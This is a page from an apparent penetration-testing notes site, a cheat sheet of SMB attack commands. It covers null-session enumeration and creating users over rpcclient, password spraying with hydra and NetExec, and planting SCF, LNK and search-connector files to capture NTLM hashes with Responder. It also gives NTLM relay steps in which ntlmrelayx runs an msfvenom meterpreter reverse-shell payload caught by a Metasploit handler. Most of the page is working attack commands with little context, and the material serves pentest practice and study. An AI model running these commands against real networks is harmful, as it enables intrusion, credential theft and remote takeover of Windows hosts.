Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • Basic Commands
  • SMBMap
  • SMBClient
  • RPC
  • Metasploit
  • Operations
  • Other
  • Attacks
  • Passwords
  • Hashes
  • NTLM Relay
  • Resources

Was this helpful?

  1. Services
  2. TCP
  3. Shares

SMB (139, 445)

Basic Commands

SMBMap

smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -r share1
smbmap -H 10.10.10.10 --download "share1\file1"
smbmap -H 10.10.10.10 --upload file1 "share1\file1"

SMBClient

smbclient -N -L //10.10.10.10
smbclient -U user //10.129.42.253/share1
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

RPC

# NULL session
rpcclient -U -N "" 10.10.10.10
srvinfo
enumdomusers
enumalsgroups
enumdomains
netshareenumall
enumalsgroups builtin
enumprivs
lookupnames user
queryuser RID
getusrdompwinfo 1000
# create user
createdomuser user1
# set new password
setuserinfo2 user1 24 'Pass123!'
netshareadd "C:\Windows" "Windows" 10 "Share1"
setuserinfo2 <USER> 23 'ComplexP4ssw0rd!'
# or
chgpasswd3 <USER> <OLD-PASS> <NEW-PASS>

Metasploit

$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.24
msf6 auxiliary(scanner/smb/smb_version) > run

Operations

sudo nmap -sV -p 139,445 -script smb* 10.10.10.10
sudo mount -t cifs //10.10.10.10/share1 /mnt
sudo mount -t cifs -o username=<USER>,password=<PASS> //<TARGET-IP>/"<SHARE>" <PATH-TO-MOUNT>
smbcacls -N '//10.10.10.10/share1' /dir1
$ for i in $(ls); do echo $i; smbcacls -N '//10.10.10.103/share1' /dir1/$i ; done
impacket-smbserver -smb2support share . -username test -password tes
net use x: \\10.10.14.4\share /USER:test test
copy file1 x:\

Other

/opt/enum4linux-ng/enum4linux-ng.py 172.16.10.3 -A
/opt/impacket/examples/samrdump.py 172.16.10.3
msf6 > useuse auxiliary/scanner/smb/smb_version
msf6 > useuse auxiliary/scanner/smb/smb_login

Attacks

Passwords

hydra -L user.list -P password.list smb://172.16.10.3
nxc smb 172.16.10.3 -u users.lst -p Password123! --continue-on-success
nxc smb 172.16.10.3 -u users.lst -p Password123! --continue-on-success --local-auth

Hashes

All described methods (SCF, LNL, SC) require WRITE access to a share/directory.

  • If WRITE access is only available within a READABLE share, the process must be done manually.

Share permissions can be configured to only allow folders to be created, not files; nxc will flag WRITE access in those cases.

For stealing the hash, the user must only browse the share, not interact with the file. Finally, the Metasploit's auxiliary/server/capture/smb module can be used instead of Responder.

SCF

If WRITE access to the Users share is available.

nxc smb <TARGET-IP> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<SMB-SERVER-IP>
sudo responder -I tun0
nxc smb <TARGET-IP> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<SMB-SERVER-IP> CLEANUP=True
[Shell]
Command=2
IconFile=\\10.10.10.10\share\test.io
[Taskbar]
Command=ToggleDesktop
sudo responder -I tun0
sudo cp example.scf SMB/Users/WritableDir

LNK

nxc smb 172.16.10.3 -u user1 -p user1_pass -M slinky -o SERVER=10.10.10.10 NAME=README
sudo responder -I tun0
nxc smb 172.16.10.3 -u user1 -p user1_pass -M slinky -o NAME=README CLEANUP=YES

SC

nxc smb 172.16.10.3 -u user1 -p user1_pass -M drop-sc -o URL=\\\\2.2.2.2\\secret SHARE=share1 FILENAME=README
sudo responder -I tun0
nxc smb 172.16.10.3 -u user1 -p user1_pass -M drop-sc -o CLEANUP=True FILENAME=README

Once a hash is obtained it can be cracked or relayed.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou

NTLM Relay

NTLM Relay

nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=5555 -f exe > shell.exe
sudo impacket-ntlmrelayx.py -h relay.txt -e ./shell.exe
msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 5555
msf6 exploit(multi/handler) > exploit
meterpreter > ps
meterpreter > migrate <PID>
nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
msf6 > use exploit/windows/smb/smb_relay
msf6 exploit(windows/smb/smb_relay) > set relay_targets
msf6 exploit(windows/smb/smb_relay) > set srvhost 172.16.10.3
msf6 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_relay) > set LHOST 10.10.10.10
msf6 exploit(windows/smb/smb_relay) > exploit
nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
sudo impacket-ntlmrelayx.py -tf relay.txt -smb2support --no-http

Resources

PreviousNFS (111, 2049)NextLDAP (389, 636)

Last updated 9 days ago

Was this helpful?

If WRITE access to a share is available, modules can be used for automation.

The example below assumes that the share is and WRITE access is available for the SMB/Users/WritableDir folder, but not for the Users share.

Similar to , but the URL needs to be escaped with \\ and by default it writes the file Documents in all writable shares.

NetExec
locally mounted
LNK
SMB Share – SCF File AttacksPenetration Testing Lab
Logo
Exploring search connectors and library files in Windows@dtmsecurity
Logo